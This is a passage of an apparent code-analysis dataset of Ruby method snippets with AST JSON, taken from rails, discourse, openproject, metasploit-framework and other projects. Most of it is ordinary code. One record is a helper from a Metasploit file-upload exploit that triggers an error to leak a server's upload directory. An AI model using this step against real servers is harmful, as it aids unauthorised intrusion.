pe\":\"str\",\"children\":[\"gitlab_built_in_project_template\"]}]}]}]},\"execute\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"close\"]}]}]}","id":"f063cf5e-bbd4-4624-9762-3800e405d338"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/portal/portal_stubbing.rb","start_line":3,"raw_source":"def adp_read_fixture_file(filename)\n      File.read(File.join('spaceship', 'spec', 'portal', 'fixtures', filename))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"adp_read_fixture_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"spaceship\"]},{\"type\":\"str\",\"children\":[\"spec\"]},{\"type\":\"str\",\"children\":[\"portal\"]},{\"type\":\"str\",\"children\":[\"fixtures\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}","id":"d953871a-2221-4efc-91f0-11d097961a3f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":589,"raw_source":"def last_refresh_status\n    if last_refresh_date\n      last_refresh_error ? \"error\" : \"success\"\n    else\n      \"never\"\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_refresh_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_refresh_date\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_refresh_error\"]},{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"success\"]}]},{\"type\":\"str\",\"children\":[\"never\"]}]}]}","id":"245a4687-d4fc-441d-8f2a-6be65fdc5105"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/sit_file_upload.rb","start_line":157,"raw_source":"def retrieve_upload_dir(session)\n    data = rand_text_alphanumeric(rand(20) + 20)\n    filename = rand_text_alphanumeric(rand(256) + 300)\n    res = upload_page(session, filename, data)\n\n    if res.body =~ /attachments-(.*)\\/#{filename}\\): failed to open stream/\n      upload_dir = \"attachments-#{$1}\"\n      print_good(\"Successfully retrieved upload dir: #{upload_dir}\")\n      return upload_dir\n    else\n      fail_with(Failure::Unknown, \"Error retrieving the upload dir\")\n    end\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_upload_dir\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[20]}]},\"+\",{\"type\":\"int\",\"children\":[20]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[256]}]},\"+\",{\"type\":\"int\",\"children\":[300]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"upload_page\",{\"type\":\"lvar\",\"children\":[\"session\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"attachments-(.*)/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"\\\\): failed to open stream\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_dir\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"attachments-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully retrieved upload dir: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_dir\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_dir\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Error retrieving the upload dir\"]}]}]}]}]}","id":"c2412add-f9a7-4bd9-aafc-f915a0de3c57"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1741,"raw_source":"def test_assert_no_performed_jobs_without_block_with_only_and_queue_options\n      HelloJob.set(queue: :other_queue).perform_later(\"bogdan\")\n      LoggingJob.set(queue: :some_queue).perform_later(\"jeremy\")\n\n      perform_enqueued_jobs\n\n      assert_no_performed_jobs only: HelloJob, queue: :some_queue\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_performed_jobs_without_block_with_only_and_queue_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"other_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"bogdan\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]},{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\"]},{\"type\":\"send\",\"children\":[null,\"assert_no_performed_jobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]}]}]}","id":"eff27205-37d2-4351-8c67-8110eb819a1b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/freedom_patches/translate_accelerator.rb","start_line":23,"raw_source":"def init_accelerator!(overrides_enabled: true)\n      @overrides_enabled = overrides_enabled\n      reserve_key(:overrides)\n      execute_reload\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"init_accelerator!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"overrides_enabled\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@overrides_enabled\",{\"type\":\"lvar\",\"children\":[\"overrides_enabled\"]}]},{\"type\":\"send\",\"children\":[null,\"reserve_key\",{\"type\":\"sym\",\"children\":[\"overrides\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_reload\"]}]}]}","id":"f062e40e-fa9b-4702-b0cb-097f63ce698f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/create_message.rb","start_line":131,"raw_source":"def fetch_thread(params:, reply:, channel:, options:)\n      return Chat::Thread.find_by(id: params.thread_id) if params.thread_id.present?\n      return unless reply\n      reply.thread ||\n        reply.build_thread(\n          original_message: reply,\n          original_message_user: reply.user,\n          channel: channel,\n          force: options.force_thread,\n        )\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_thread\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"params\"]},{\"type\":\"kwarg\",\"children\":[\"reply\"]},{\"type\":\"kwarg\",\"children\":[\"channel\"]},{\"type\":\"kwarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"thread_id\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Thread\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"thread_id\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"thread\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"build_thread\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_message\"]},{\"type\":\"lvar\",\"children\":[\"reply\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_message_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"force_thread\"]}]}]}]}]}]}]}","id":"2753f0cb-708c-477d-aaf9-16740bc18810"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/uploads_restorer.rb","start_line":57,"raw_source":"def restore_uploads\n      store = Discourse.store\n\n      if !store.respond_to?(:copy_from)\n        # a FileStore implementation from a plugin might not support this method, so raise a helpful error\n        store_name = Discourse.store.class.name\n        raise UploadsRestoreError.new(\n                \"The current file store (#{store_name}) does not support restoring uploads.\",\n              )\n      end\n\n      log \"Restoring uploads, this may take a while...\"\n      store.copy_from(@tmp_uploads_path)\n    end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"restore_uploads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"store\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"store\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"copy_from\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"store_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"store\"]},\"class\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadsRestoreError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The current file store (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store_name\"]}]},{\"type\":\"str\",\"children\":[\") does not support restoring uploads.\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Restoring uploads, this may take a while...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"copy_from\",{\"type\":\"ivar\",\"children\":[\"@tmp_uploads_path\"]}]}]}]}","id":"646586f5-97b4-4f3d-8579-b9a160ee57ae"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/imports/source_detector.rb","start_line":72,"raw_source":"def detect_source\n    return :gpx if gpx_file?\n    return :owntracks if owntracks_file?\n\n    json_data = parse_json\n    return nil unless json_data\n\n    DETECTION_RULES.each do |format, rules|\n      next if format == :owntracks # Already handled above\n\n      return format if matches_format?(json_data, rules)\n    end\n\n    nil\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"detect_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gpx_file?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"gpx\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owntracks_file?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"owntracks\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"json_data\",{\"type\":\"send\",\"children\":[null,\"parse_json\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_data\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DETECTION_RULES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]},{\"type\":\"arg\",\"children\":[\"rules\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"==\",{\"type\":\"sym\",\"children\":[\"owntracks\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"matches_format?\",{\"type\":\"lvar\",\"children\":[\"json_data\"]},{\"type\":\"lvar\",\"children\":[\"rules\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]}]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"1bd65762-ce0d-40ac-bf04-fb5bb7967ebc"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/compression/zip.rb","start_line":38,"raw_source":"def build_entry_path(dest_path, entry, _)\n      File.join(dest_path, entry.name)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_entry_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dest_path\"]},{\"type\":\"arg\",\"children\":[\"entry\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dest_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"name\"]}]}]}","id":"b3337fd2-e1d8-4f28-ba50-9462f77ebf9b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/api/current_user_threads_controller.rb","start_line":4,"raw_source":"def index\n    ::Chat::LookupUserThreads.call(service_params) do\n      on_success do |threads:, tracking:, memberships:, load_more_url:, participants:|\n        render_serialized(\n          ::Chat::ThreadsView.new(\n            user: guardian.user,\n            threads_participants: participants,\n            channel: nil,\n            threads:,\n            tracking:,\n            memberships:,\n            load_more_url:,\n          ),\n          ::Chat::ThreadListSerializer,\n          root: false,\n        )\n      end\n      on_failed_contract do |contract|\n        render(json: failed_json.merge(errors: contract.errors.full_messages), status: :bad_request)\n      end\n      on_model_not_found(:threads) { render json: success_json.merge(threads: []) }\n      on_failure { render(json: failed_json, status: :unprocessable_entity) }\n    end\n  end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"LookupUserThreads\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"service_params\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"threads\"]},{\"type\":\"kwarg\",\"children\":[\"tracking\"]},{\"type\":\"kwarg\",\"children\":[\"memberships\"]},{\"type\":\"kwarg\",\"children\":[\"load_more_url\"]},{\"type\":\"kwarg\",\"children\":[\"participants\"]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"ThreadsView\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"threads_participants\"]},{\"type\":\"lvar\",\"children\":[\"participants\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"threads\"]},{\"type\":\"lvar\",\"children\":[\"threads\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tracking\"]},{\"type\":\"lvar\",\"children\":[\"tracking\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memberships\"]},{\"type\":\"lvar\",\"children\":[\"memberships\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_more_url\"]},{\"type\":\"lvar\",\"children\":[\"load_more_url\"]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"ThreadListSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_contract\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contract\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"errors\"]},\"full_messages\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_not_found\",{\"type\":\"sym\",\"children\":[\"threads\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"threads\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}","id":"9d754471-bde4-4fe9-857d-a9f4dac928c9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/connection_handler_test.rb","start_line":196,"raw_source":"def test_establish_connection_using_top_level_key_in_two_level_config\n        config = {\n          \"development\" => { \"adapter\" => \"sqlite3\", \"database\" => \"test/db/primary.sqlite3\" },\n          \"development_readonly\" => { \"adapter\" => \"sqlite3\", \"database\" => \"test/db/readonly.sqlite3\" }\n        }\n        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config\n\n        @handler.establish_connection(:development_readonly)\n\n        assert_not_nil pool = @handler.retrieve_connection_pool(\"development_readonly\")\n        assert_not_predicate pool.lease_connection, :preventing_writes?\n        assert_equal \"test/db/readonly.sqlite3\", pool.db_config.database\n      ensure\n        ActiveRecord::Base.configurations = @prev_configs\n      end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_establish_connection_using_top_level_key_in_two_level_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"test/db/primary.sqlite3\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"development_readonly\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"test/db/readonly.sqlite3\"]}]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@prev_configs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"establish_connection\",{\"type\":\"sym\",\"children\":[\"development_readonly\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"lvasgn\",\"children\":[\"pool\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"retrieve_connection_pool\",{\"type\":\"str\",\"children\":[\"development_readonly\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"lease_connection\"]},{\"type\":\"sym\",\"children\":[\"preventing_writes?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"test/db/readonly.sqlite3\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"db_config\"]},\"database\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\",{\"type\":\"ivar\",\"children\":[\"@prev_configs\"]}]}]}]}","id":"f42ba65e-9f84-4da2-a202-5b695d3b3cfb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin/settings/project_custom_field_sections_controller.rb","start_line":54,"raw_source":"def update\n      call = ::ProjectCustomFieldSections::UpdateService.new(user: current_user, model: @project_custom_field_section).call(\n        project_custom_field_section_params\n      )\n\n      if call.success?\n        update_section_via_turbo_stream(project_custom_field_section: call.result)\n      else\n        update_section_dialog_body_form_via_turbo_stream(project_custom_field_section: call.result)\n      end\n\n      respond_with_turbo_streams\n    end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ProjectCustomFieldSections\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@project_custom_field_section\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"project_custom_field_section_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"send\",\"children\":[null,\"update_section_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_custom_field_section\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_section_dialog_body_form_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_custom_field_section\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]}","id":"9b120d30-b21f-4e63-9e29-1920105c81e2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/query_cache_test.rb","start_line":911,"raw_source":"def teardown\n    ActiveRecord::Base.lease_connection.disable_query_cache!\n    ActiveRecord::Base.lease_connection.drop_table(\"json_objs\", if_exists: true)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"disable_query_cache!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"drop_table\",{\"type\":\"str\",\"children\":[\"json_objs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"4f00ad83-4a9b-404b-a3ee-2e510543bc12"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb","start_line":79,"raw_source":"def run_host(_ip)\n        print_status(\"Running for target #{datastore['RHOSTS']}:#{datastore['RPORT']} with normalized datastore value #{datastore['FloatValue'].inspect}\")\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ip\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running for target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOSTS\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" with normalized datastore value 